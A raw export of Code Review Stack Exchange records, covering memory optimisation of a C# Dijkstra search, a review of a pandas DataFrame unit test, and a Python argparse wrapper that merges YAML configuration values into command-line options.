"body": "Part 2 of the problem: 10 seconds in you're about to purchase your first Foo; you look over and realize your opponent is calmly continuing to bake and isn't purchasing a Foo. You call time-out to read the contract and realize they changed the wording: last one to 1,000 wins. Additionally, while reading the contract you realize the contract doesn't forbid purchasing an upgrade when you have zero machines."
}
] | [
{
"body": "<p>You can reduce the memory footprint by using <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.collections.specialized.bitvector32\" rel=\"nofollow noreferrer\"><code>BitVector32</code></a> instead of <code>bool</code>. A <code>bool</code> in .NET occupies a full word in memory. A <code>BitVector32</code> allows you to store the equivalent of 32 bools the same memory space.</p>\n\n<p>By replacing all of the <code>bool</code> fields in <code>State</code> with a single <code>BitVector32</code>, I was able to reduce <code>State</code>'s memory footprint from 68 bytes to 12 (as measured by <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.sizeof\" rel=\"nofollow noreferrer\"><code>Marshal.SizeOf<State>()</code></a>). Since <code>State</code> is the key in the dictionary, that adds up to a decent reduction in memory usage overall.</p>\n\n<p>After applying my changes to your <code>master</code> branch and running for 1,000,000 steps, the memory usage of the state dictionary dropped from ~215 MB to ~167 MB (as measured by the Visual Studio profiler). After 5,000,000 steps, it dropped from ~864 MB to ~671 MB.</p>\n\n<p>You could push this technique even further by packing numeric values into bit vectors. There are some examples of doing so in the docs.</p>\n\n<p>Here's a sample of the code that I used. All of the changes happened within <code>State</code>. I opted for the most convenient refactoring path... there might be a more efficient/performant way to code all this.</p>\n\n<pre><code>BitVector32 bits;\n\nprivate const int ReinforcedIndexFingerMask = 1 << 0;\nprivate const int CarpalTunnelPreventionCreamMask = 1 << 1;\n\npublic bool ReinforcedIndexFinger\n{\n get => bits[ReinforcedIndexFingerMask];\n set => bits[ReinforcedIndexFingerMask] = value;\n}\n\npublic bool CarpalTunnelPreventionCream\n{\n get => bits[CarpalTunnelPreventionCreamMask];\n set => bits[CarpalTunnelPreventionCreamMask] = value;\n}\n</code></pre>\n\n<p>As an added bonus, I think you could simplify the <code>GetHashCode()</code> and <code>Equals()</code> implementations by comparing the bit vector directly, rather than comparing every value individually.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T09:45:31.600",
"Id": "412722",
"Score": "2",
"body": "The idiomatic way of doing this would be a `[Flags] enum`, wouldn't it?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T15:28:22.300",
"Id": "412776",
"Score": "0",
"body": "Can you clarify where/how you would use `[Flags]`? I'm imagining putting the Masks into a flags enum, and leaving the `BitVector32` as-is. I can revise my example--just want to make sure my head's in the right place. I haven't done this type of optimization enough to know the idioms. @PeterTaylor"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T16:19:52.977",
"Id": "412787",
"Score": "1",
"body": "`[Flags] enum SimpleUpgrades { ReinforcedFinger = 1, CarpalTunnelPreventionCream = 2 }`. Then the field is `SimpleUpgrades bits`, and you test with e.g. `(bits & SimpleUpdates.ReinforcedFinger) != 0`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T16:50:06.530",
"Id": "412797",
"Score": "0",
"body": "Ah, I see. In that case, idioms aside, flags are *potentially* less optimal than the bit vector. In addition to the bools, bit vector can hold numeric data. I didn't demonstrate it, but it might be possible to shrink `State` a little bit more by packing, for eg, `byte Grandmas` into the bit vector. If that doesn't pan out, then a `[Flags] ushort enum`, like you describe, would be both smaller and idiomatic."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T05:10:44.443",
"Id": "213354",
"ParentId": "213012",
"Score": "4"
}
},
{
"body": "<blockquote>\n<pre><code>public class Vertex\n{\n public FibonacciHeapNode Node { get; set; }\n public State State { get; set; }\n public float MinimumCost { get; set; } = Single.PositiveInfinity;\n\n public Vertex Previous { get; set; }\n public string PreviousName { get; set; }\n\n public Vertex(FibonacciHeapNode node = null, State state = default(State))\n {\n this.Node = node;\n this.State = state;\n }\n}\n</code></pre>\n</blockquote>\n\n\n\n<blockquote>\n <p>Really worthy of focus here is the last bit, in which the the vertices dictionary created in the constructor is queried. If a State already has a vertex associated with it, then use that; otherwise, create a new vertex to represent the state. As far as I can tell, this is all but necessary. Without it, the \"space complexity\" for a State with 2 constant parameters would be 2<sup>x</sup>. With it, it is x + 1. The memory savings increase with the number of parameters in an exponential fashion.</p>\n</blockquote>\n\n<p>I don't fully understand what you're doing here, but I think you need to revisit the design of the heap. It's far too interconnected. The <code>Graph</code> class shouldn't know about the internals of the heap. My implementation uses some generic code:</p>\n\n<pre><code>public interface PriorityQueue<K, V>\n where V : IComparable<V>\n{\n int Count { get; }\n bool ContainsKey(K key);\n void Add(K key, V priority);\n void Update(K key, V priority);\n V this[K key] { get; }\n KeyValuePair<K, V> Pop();\n}\n\npublic interface IWeightedGraph<TVertex, TWeight>\n{\n IEnumerable<(TVertex, TWeight)> Edges(TVertex vertex);\n}\n\npublic static TWeight ShortestPath<TVertex, TWeight>(this IWeightedGraph<TVertex, TWeight> g, TVertex source, TVertex sink, Func<TWeight, TWeight, TWeight> add)\n where TWeight : IComparable<TWeight>\n{\n // Simple Dijkstra implementation.\n PriorityQueue<TVertex, TWeight> q = new BinaryHeap<TVertex, TWeight>();\n var closed = new HashSet<TVertex>();\n\n q.Add(source, default(TWeight)); // Assume that default(TWeight) is zero\n while (true)\n {\n (var u, var w) = q.Pop();\n if (Equals(u, sink)) return w;\n\n closed.Add(u);\n\n foreach ((var v, var x) in g.Edges(u))\n {\n if (closed.Contains(v)) continue;\n\n var relaxed = add(w, x);\n\n if (!q.ContainsKey(v)) q.Add(v, relaxed);\n else if (relaxed.CompareTo(q[v]) < 0) q.Update(v, relaxed);\n }\n }\n}\n\nclass CookieCutterGraph : IWeightedGraph<CookieCutterState, double>\n{\n ...\n}\n\nvar soln = g.ShortestPath(emptyState, targetState, (a, b) => a + b);\n</code></pre>\n\n<p>To use a Fibonacci heap, I would just have to change one line. Also, the heap maintains the mapping from states to whatever internal representation it needs to implement <code>ContainsKey</code> and <code>Update</code>. There's only one instance of each state because the only hard reference is kept inside the heap, and when the heap finishes with it it removes it from its internal structures.</p>\n\n<p>It's true that my <code>ShortestPath</code> method only finds the weight and not the path. The fully general way to find the path is to have a list of popped vertices to their costs, and then run it backwards looking for vertices which have a suitable edge to the current start of the partial path. This still guarantees keeping only one instance of each vertex live (two if it's a struct, because you have a copy in <code>closed</code> as well) without having a class-level cache which leaks memory.</p>\n\n<p>On the bright side, as far as I can tell <code>Vertex.Node</code> is never cleared, so is keeping unnecessary <code>FibonacciHeapNode</code> instances around; and having references from both <code>Vertex</code> to <code>FibonacciHeapNode</code> and vice versa costs an extra 8 bytes for a reference on a 64-bit machine.</p>\n\n<p>For further memory saving around the heap, you could look at using a <a href=\"//en.wikipedia.org/wiki/Pairing_heap\" rel=\"nofollow noreferrer\">pairing heap</a>, which uses less state per node but is claimed to be typically at least as fast as a Fibonacci heap.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T09:46:20.933",
"Id": "213362",
"ParentId": "213012",
"Score": "4"
}
},
{
"body": "<p>I will try to tackle your problem a bit differently.\nYour main question is:</p>\n\n<h2>How can I reduce the memory usage of this algorithm?</h2>\n\n<p>Regardless, I would first have a closer look into other path finding algorithms, such as</p>\n\n<ul>\n<li><p><a href=\"https://en.wikipedia.org/wiki/A*_search_algorithm\" rel=\"nofollow noreferrer\">A*</a> (or <a href=\"https://en.wikipedia.org/wiki/Iterative_deepening_A*\" rel=\"nofollow noreferrer\">IDA*</a>) with a decent heuristic function</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Floyd%E2%80%93Warshall_algorithm\" rel=\"nofollow noreferrer\">Floyd Warshall Algorithm</a></p></li>\n</ul>\n\n<p>Compare the algorithms and evaluate the right one:</p>\n\n<ul>\n<li>How long does each algorithm take (Time Complexity)?</li>\n<li>How much space do each algorithm use (Space Complexity)?</li>\n<li>Does it have to be optimal or is an approximation good enough?</li>\n</ul>\n\n<p><strong>Regarding your question, the space complexity is relevant.</strong> For example, if one vertex takes up 1KB and your algorithm uses 100'000'000 vertices, then even if you can <strong>optimize</strong> your vertex down to 0.5KB, it's still bad.</p>\n\n<hr>\n\n<p>Another option is to improve your current Dijkstra implementation:</p>\n\n<ul>\n<li>Only keep <strong>a subset of the vertices in the memory</strong> (e.g. the highest promising ones). You can serialize the others on your hard disk (e.g. with <a href=\"https://developers.google.com/protocol-buffers/\" rel=\"nofollow noreferrer\">Protocol Buffers</a>).</li>\n<li>Still <strong>minimize your vertex' size</strong> as suggested by others (just because you can)</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-18T22:09:38.083",
"Id": "213757",
"ParentId": "213012",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "213362",
"CommentCount": "10",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T05:48:33.787",
"Id": "213012",
"Score": "16",
"Tags": [
"c#",
"graph",
"pathfinding",
"memory-optimization"
],
"Title": "Traversing an infinite graph using Dijkstra's algorithm to maximize cookie production speed"
} | 213012 |
<p>I am currently working on a project that uses many dataframe wrangling. The intention is to write test to check that the output functions are correct. </p>
<p>I have written a test for a dataframe function that transforms a dataframe of operations into another dataframe that contains the volumen of the operations for each of the containing days. </p>
<p>My question is: </p>
<h3>Is this a good test for a function that receives a DataFrame and returns a DataFrame?</h3>
<p>Should I do something different? </p>
<p>This is is my code:</p>
<pre><code>import pandas as pd
class Operations:
def disaggregate_ops_volume_date(self, df: DataFrame):
""" Given a DataFrame with operations it generates an operation for each of the days it contains """
if df.empty:
return df
ops = df.copy()
ops['NDAYS'] = ops[['SEQ_PERIODSTART', 'SEQ_PERIODEND']].apply(
lambda row: (row['SEQ_PERIODEND'] - row['SEQ_PERIODSTART']).days, axis=1)
# Add a copy of each operation NDAYS times
ops = ops.loc[np.repeat(ops.index, ops['NDAYS'])]
# Correct the date based on the TradeId operation
ops['SEQ_PERIODSTART'] += pd.to_timedelta(ops.groupby('TRADEID').cumcount(), unit='d')
ops['SEQ_PERIODEND'] = ops['SEQ_PERIODSTART'] + pd.Timedelta(1, unit='d')
ops = ops.reset_index(drop=True)
return ops
</code></pre>
<h3>This is the test I have developed:</h3>
<pre><code>from pandas.util.testing import assert_frame_equal
import unittest
import pandas as pd
class TestOperations(unittest.TestCase):
def test_minimal(self):
"""To make sure at least a test is passed"""
self.assertEqual('foo'.upper(), 'FOO')
def test_disaggregate_ops_volume_date(self):
input = pd.DataFrame(
{'SEQ_PERIODSTART':
['2019-02-10', '2019-02-12', '2019-02-13'],
'SEQ_PERIODEND':
['2019-02-11', '2019-02-14', '2019-02-18'],
'ID': [0, 1, 2]})
input['SEQ_PERIODSTART'] = pd.to_datetime(input['SEQ_PERIODSTART'])
input['SEQ_PERIODEND'] = pd.to_datetime(input['SEQ_PERIODEND'])
expected = pd.DataFrame(
{'SEQ_PERIODSTART':
['2019-02-10', '2019-02-12', '2019-02-13', '2019-02-13', '2019-02-14', '2019-02-15', '2019-02-16', '2019-02-17'],
'SEQ_PERIODEND':
['2019-02-11', '2019-02-13',
'2019-02-14', '2019-02-14', '2019-02-15', '2019-02-16', '2019-02-17', '2019-02-18'],
'ID': [0, 1, 2, 3, 4, 5, 6, 7],
'NDAYS': [1, 2, 2, 5, 5, 5, 5, 5]
})
expected['SEQ_PERIODSTART'] = pd.to_datetime(expected['SEQ_PERIODSTART'])
expected['SEQ_PERIODEND'] = pd.to_datetime(expected['SEQ_PERIODEND'])
myops = Operations()
assert_frame_equal(expected, myops.disaggregate_ops_volume_date(input))
if __name__ == '__main__':
unittest.main()
</code></pre>
| [] | [
{
"body": "<p>The test itself seems okay. </p>\n\n<h1>bug</h1>\n\n<p>You use <code>\"ID\"</code> as columns name in the test, but <code>\"TRADEID\"</code> in the method to test.</p>\n\n<p>And the result is not what was expected. The <code>TRADEID</code>s don't match </p>\n\n<h1>Classes</h1>\n\n<p>There is no use for the class <code>Operations</code>. If you want to group functions that belong together, you can do so in a module (file) and import that. The fact <code>disaggregate_ops_volume_date</code> has a <code>self</code> parameter that is unused is a giveaway here</p>\n\n<h1>Vectorize</h1>\n\n<p>there is no reason to calculate <code>ops['NDAYS']</code> row per row via apply. <code>(df[\"SEQ_PERIODEND\"] - df[\"SEQ_PERIODSTART\"]).dt.days</code> works just as well.</p>\n\n<p>Then you can use <code>DataFrame.assign</code>, and don't have to explicitly make a copy of <code>df</code></p>\n\n<pre><code>ndays = (df[\"SEQ_PERIODEND\"] - df[\"SEQ_PERIODSTART\"]).dt.days\nops = df.assign(NDAYS = ndays)\n</code></pre>\n\n<h1>Day</h1>\n\n<p>Since a days is used a lot in that method, it can be clearer to define that up front:</p>\n\n<pre><code>DAY = pd.Timedelta(\"1d\")\n</code></pre>\n\n<p><code>ndays</code> can then be defined as <code>ndays = (df[\"SEQ_PERIODEND\"] - df[\"SEQ_PERIODSTART\"]) // DAY</code>. Whether this is clearer than the <code>.dt.days</code> is a matter of taste.</p>\n\n<p>correcting the date can then be expessed more clearly as:</p>\n\n<pre><code>ops[\"SEQ_PERIODSTART\"] += ops.groupby(\"TRADEID\").cumcount() * DAY\nops[\"SEQ_PERIODEND\"] = ops[\"SEQ_PERIODSTART\"] + DAY\n</code></pre>\n\n<h1><code>input</code></h1>\n\n<p><code>input</code> is a <code>builtin</code>. By using that name as a variable name, you shadow that builtin. In this case this is not a big problem, but in general you should avoid this</p>\n\n<h1>indentation style</h1>\n\n<p>You use a very inconsistent style of indenting the code, and what goes on a separate line. Better would be to remain consistent. For this, I use <a href=\"https://github.com/ambv/black\" rel=\"nofollow noreferrer\">black</a>.</p>\n\n<p>This changes:</p>\n\n<pre><code>expected = pd.DataFrame(\n {'SEQ_PERIODSTART': \n ['2019-02-10', '2019-02-12', '2019-02-13', '2019-02-13', '2019-02-14', '2019-02-15', '2019-02-16', '2019-02-17'],\n\n 'SEQ_PERIODEND': \n ['2019-02-11', '2019-02-13', \n '2019-02-14', '2019-02-14', '2019-02-15', '2019-02-16', '2019-02-17', '2019-02-18'],\n 'ID': [0, 1, 2, 3, 4, 5, 6, 7],\n 'NDAYS': [1, 2, 2, 5, 5, 5, 5, 5]\n })\n</code></pre>\n\n<p>to:</p>\n\n<pre><code>expected = pd.DataFrame(\n {\n \"SEQ_PERIODSTART\": [\n \"2019-02-10\",\n \"2019-02-12\",\n \"2019-02-13\",\n \"2019-02-13\",\n \"2019-02-14\",\n \"2019-02-15\",\n \"2019-02-16\",\n \"2019-02-17\",\n ],\n \"SEQ_PERIODEND\": [\n \"2019-02-11\",\n \"2019-02-13\",\n \"2019-02-14\",\n \"2019-02-14\",\n \"2019-02-15\",\n \"2019-02-16\",\n \"2019-02-17\",\n \"2019-02-18\",\n ],\n \"ID\": [0, 1, 2, 3, 4, 5, 6, 7],\n \"NDAYS\": [1, 2, 2, 5, 5, 5, 5, 5],\n }\n)\n</code></pre>\n\n<p>Which I think, is a lot more clear</p>\n\n<h1><code>pd.to_datetime</code></h1>\n\n<p>You can invoke this immediately on a <code>list</code>, so defining the input DataFrame can become:</p>\n\n<pre><code>input_df = pd.DataFrame(\n {\n \"SEQ_PERIODSTART\": pd.to_datetime(\n [\"2019-02-10\", \"2019-02-12\", \"2019-02-13\"]\n ),\n \"SEQ_PERIODEND\": pd.to_datetime(\n [\"2019-02-11\", \"2019-02-14\", \"2019-02-18\"]\n ),\n \"ID\": [0, 1, 2],\n }\n)\n</code></pre>\n\n<h1>defining test DataFrames</h1>\n\n<p>Instead of invoking <code>pd.DataFrame</code> immediately, an alternative is working via a <code>csv</code>-like text input, and then use <code>pd.read_csv</code> and <code>StringIO</code> to convert it to a DataFrame.</p>\n\n<pre><code>expected_str = \"\"\"\nSEQ_PERIODSTART SEQ_PERIODEND TRADEID NDAYS\n2019-02-10 2019-02-11 0 1\n2019-02-12 2019-02-13 1 2\n2019-02-13 2019-02-14 2 2\n2019-02-13 2019-02-14 3 5\n2019-02-14 2019-02-15 4 5\n2019-02-15 2019-02-16 5 5\n2019-02-16 2019-02-17 6 5\n2019-02-17 2019-02-18 7 5\"\"\"\nexpected = pd.read_csv(\n StringIO(expected_str),\n sep=\"\\s+\",\n parse_dates=[\"SEQ_PERIODSTART\", \"SEQ_PERIODEND\"],\n)\n</code></pre>\n\n<p>Whether this is more clear than using <code>pd.DataFrame()</code> is a matter of taste. The advantage of this method is that it is easy to add or remove a line, and see whether the data is aligned correctly.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T14:28:09.720",
"Id": "412250",
"Score": "0",
"body": "Thanks. I take note of all the information given. Alling is only a problem of copy/paste conde into the platform. I agree that reading a csv is a better way to perform the test."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T11:07:33.430",
"Id": "213089",
"ParentId": "213019",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "213089",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T08:37:19.400",
"Id": "213019",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"unit-testing",
"pandas"
],
"Title": "Unit test for a function that transforms a PANDAS dataframe"
} | 213019 |
<p>I want to be able to both provide options through command line and from a configuration file. A single option could be served either by the user or by the configuration. But if is provided by both, only user input is used. Such an option could be required and an error would be output if neither user nor configuration provide it.</p>
<p>My solution is to create a class that wraps argparse.ArgumentParser, and provide options from the configuration file as if it was provided by the user.</p>
<p>For the overwriting aspect (user option > configuration option), I rely on the fact that if the same option is provided several times to argparse, only the last one is used.</p>
<p><code>--option 'value1' --option 'value2'</code> will result in <code>Namespace(option='value2')</code>.</p>
<p>Here is how I went:</p>
<pre><code>import sys
from argparse import ArgumentParser
class ConfArgParser(ArgumentParser):
def __init__(self, *args, config=None, **kwargs):
self.__config = config if config is not None else dict()
self.__key_opts = {}
super(ConfArgParser, self).__init__(*args, **kwargs)
def add_argument(self, *args, conf_key=None, **kwargs):
if conf_key is not None:
self.__key_opts[conf_key] = args[0]
return super(ConfArgParser, self).add_argument(*args, **kwargs)
def parse_args(self, **kwargs):
config_as_opts = []
for key, opt in self.__key_opts.items():
conf_value = self.__resolve_conf(key.split("."), self.__config)
if conf_value is not None:
config_as_opts.append(opt)
config_as_opts.append(str(conf_value))
sys.argv = sys.argv[0:1] + config_as_opts + sys.argv[1:]
return super(ConfArgParser, self).parse_args(**kwargs)
def __resolve_conf(self, key_frags, node):
if key_frags[0] not in node:
return None
elif len(key_frags) == 1:
return node[key_frags[0]]
else:
return self.__resolve_conf(key_frags[1:], node[key_frags[0]])
</code></pre>
<p>I could use it that way:</p>
<pre><code>#!/usr/bin/env python3
from confargparse import ConfArgParser
import yaml
if __name__ == "__main__":
with open("application.yml", "r") as config_file:
config = yaml.load(config_file)
parser = ConfArgParser(description="Cli prototype", config=config)
parser.add_argument("--host", required=True, type=str, conf_key="mysql.host")
parser.add_argument("-u", "--user", required=True, type=str, conf_key="mysql.user")
args = parser.parse_args()
</code></pre>
<p>With such a configuration file, named application.yml:</p>
<pre><code>mysql:
host: 127.0.0.1
user: root
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T01:39:37.130",
"Id": "412164",
"Score": "1",
"body": "Perhaps, rather than rolling your own: [ConfigArgParse](https://pypi.org/project/ConfigArgParse/) is a maintained package on Pypi"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T08:26:21.067",
"Id": "412193",
"Score": "0",
"body": "It seems too complex for my use case and while it is still maintained, it's still in beta and it suffers from some bugs. I'm not quite sure making my own is a better way though. At least, I like it being much simpler than ConfigArgParse. I'm thinking of not using a class at all and dynamically setting options default values and required conditions but that comes with its own problems. Mainly this last approach is problematic because I call 'add_argument' from other modules than the main."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T09:28:47.617",
"Id": "213020",
"Score": "4",
"Tags": [
"python",
"python-3.x",
"parsing",
"console",
"configuration"
],
"Title": "Wrapping argparse to use configuration file"
} | 213020 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.